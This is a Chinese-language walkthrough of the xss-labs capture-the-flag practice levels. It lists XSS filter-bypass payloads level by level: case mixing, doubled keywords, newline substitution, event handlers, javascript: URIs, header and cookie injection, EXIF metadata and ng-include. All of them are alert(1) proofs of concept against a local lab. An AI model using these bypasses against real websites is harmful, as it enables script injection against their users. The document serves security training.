Web应用程序对用户输入的数据未进行严格过滤或转义,导致攻击者能将恶意脚本注入到网页中,并被浏览器执行。
常用手段,若没有任何过滤可以采取
<script>alert(1)</script>部分可能需要js符号闭合,则采取
><script>alert(1)</script>会过滤script,但未存在大小写过滤,则可采取
<Script>alert(1)</Script>会有大小写过滤,且会过滤script,未有重写法过滤,则可采取
<Scrscriptipt>alert(1)</scrscriptipt>若过滤了实体转义的空格,则可用回车代替
<a%0Aherf=javascript:alert(1)>若存在html实体转义,则可采取事件监听
常用事件监听方法
错误触发:
<img src=x onerror=alert(1)>链接点击:
<a herf=javascript:alert(1)>鼠标移动:
onmouseover="alert(1)“
第一关
第一步:观察环境
url:http://xss/level1.php?name=test
页面显示:
第二步:查看源码(按F12)
第三步:构造payload
<script>alert(1)</script>即可验证是否含有xss漏洞
第二关
第一步:观察环境
url:http://127.0.0.1/xss-labs-master/level2.php?keyword=test
页面显示:
输入
<script>alert(1)</script>结果没有显示,查看源码发现
输入符号明显发现做了过滤,但是没有完全过滤<>那就直接闭合value参数执行XSS语句
输入"><script>alert(1)</script>"即可
第三关
输入“><script>alert(1)</script>”源代码显示
采用第二关方法是可行的,但是彻底过滤了<>,那就不采用script,转为使用javascript的onmouseover属性
输入' οnmοuseοver='alert(1)
因为源代码使用了htmlspecialchars函数过滤输入,把预定义的字符转换为 HTML 实体。
第四关
输入“><script>alert(1)</script>”,显示
发现<>变为空格,但可以闭合value值,在输入" οnmοuseοver="alert(1)即可
第五关
输入<script>alert(1)</script>,代码显示
则script过滤为scr_ipt,输入" οnmοuseοver="alert(1),代码显示
则onmouseover也被过滤,那就采用闭合+超链接,输入"><a href=javascript:alert(1)>",然后点击超链接即可
第六关
输入<script>alert(1)</script>,代码显示
则script过滤为scr_ipt,输入" οnmοuseοver="alert(1),代码显示
则onmouseover也被过滤,那就采用闭合+超链接,输入"><a href=javascript:alert(1)>",代码显示
发现超链接长度不够爆破,那就采用闭合+大小写混用方式,看过滤是否严格,输入"><scRipt>alert(1)</scRipt>"即可
第七关
输入“><script>alert(1)</script>”,代码显示
则script完全过滤为空,输入"><scRipt>alert(1)</scRipt>",代码显示
则大小写混用也被过滤,那就采用闭合+复写看是否过滤script,输入"><scscriptript>alert(1)</scscriptript>"即可
第八关
发现超链接点击进去看到
输入的值即为herf值,考虑让连接中包含javascript的伪协议来运行alert(1)进行弹窗达成xss攻击,则输入javascript:alert(1),再点击超链接显示
script再次严格过滤,那就考虑把语句改为unicode编码看是否能绕过,输入ascii码转unicode语句即可
第九关
也是包含超链接,那就直接输入javascript:alert(1),显示
被转义了,在采用上轮输入发现也被转义,默认输入也被转义,那就看直接的http协议是否能访问,输入http://www.baidu.com发现可以,那就先将上轮输入转义再在后面注释掉http协议即可
第十关
在url的keyword=后输入1,再看源码发现隐藏表单,那就将隐藏表单的type改为text让我们能看到回显
在keyword=后输入123&t_link="type="text&t_history"type="text&t_sort="type="text,多了个输入框,且源码变为
说明仅接受t_sort的值,那就在t_sort文本框输入t_sort="type="text" οnmοuseοver="alert(1)即可
第十一关
在url的keyword=后输入123,再看源码发现隐藏表单,那就将隐藏表单的type改为text让我们能看到回显
在keyword=后输入123&t_link="type="text&t_history"type="text&t_sort="type="text&t_ref="type="text,发现失败,因为双引号被过滤了,但是t_ref参数,这个参数有点像http的请求头的refer值。
隐藏表单确实有值,那就跟之前一样闭合,打开hackbar,点击load url,再勾选referer,将referer:后内容改为"type="text" οnmοuseοver="alert(1),点击执行后,点击输入框即可
第十二关
前车之鉴,直接看源码
发现这个Ua跟请求头里的user_agent一样,那么就用之前的方法,在hackbar上修改useragent的值:"type="text" οnmοuseοver="alert(1),点击执行,点击输入框即可
第十三关
前车之鉴,查看源码:
发现有个cook类似于请求头的cookie,那就用之前发放,在hackbar上修改cookie的值:user="type="text" οnmοuseοver="alert(1),点击执行,点击输入框
第十四关
页面引用了exif.js,读取图的元数据,包括注释,且没有过滤,因此在图的注释/描述字段上传带有恶意代码的<script>alert(1)</script>,再将该图上传即可
第十五关
稍作尝试发现,本身具有HTML实体编码,把<>实体转义了,直接构造无法执行脚本,F12发现有个ngInclude
相当于前端的include,把返回页面通过innerHTML方法嵌入html页面,加载内部的html时会自动执行其中语句(外部不会执行其中语句)但不会执行<script>标签内容,因此考虑在上传本地页面中添加恶意语句,payload可以构造为
事件报错监听
?src='level1.php?name=<img src=1 onerror=alert(1)>'或者用户交互事件监听
?src='level1.php?name=<a href="XXXX" onmouseover="alert(1)">把鼠标移到这里</a>'或者点击超链接
?src='level1.php?name=<a href=javascript:alert(1)>'第十六关
F12查看源代码发现
test是插入到center标签中,没必要闭合,测试关键字,输入<script>alert(1)</script>
输入<a href="XXX" οnmοuseοver="alert(1)">
发现script和空格都被实体化了,故只能采用用户交互时间监听,不准用空格就用回车%0A,payload为
<a%0Aonmouseover="alert(1)">将鼠标移动到这里</a>或者
<a%0Aonmouseover="alert(1)">用户在滑动过程中必定会触碰,更隐蔽
第十七关
F12查看源代码
embed标签定义一个区域,可以放图片、视频、音频等内容,但是当打不开文件时会存在错误区域,可以绑定各种事件,尝试各种标签发现会对<>字符转义为html实体,导致无法执行其中语句,只能采用事件监听,但是注意embed标签不支持onerror事件,故构造payload
%20onmouseover=alert(1)本关需要使用chrome浏览器,firefox不支持embed标签
第十八关
基本同第十七关,只是将空格转移为了html实体,导致无法执行后续语句,故构造payload
%0aonmouseover=alert(1)第十九关和第二十关
采用flash触发的xss漏洞,但目前已经全面停用,暂且难以复现后面两关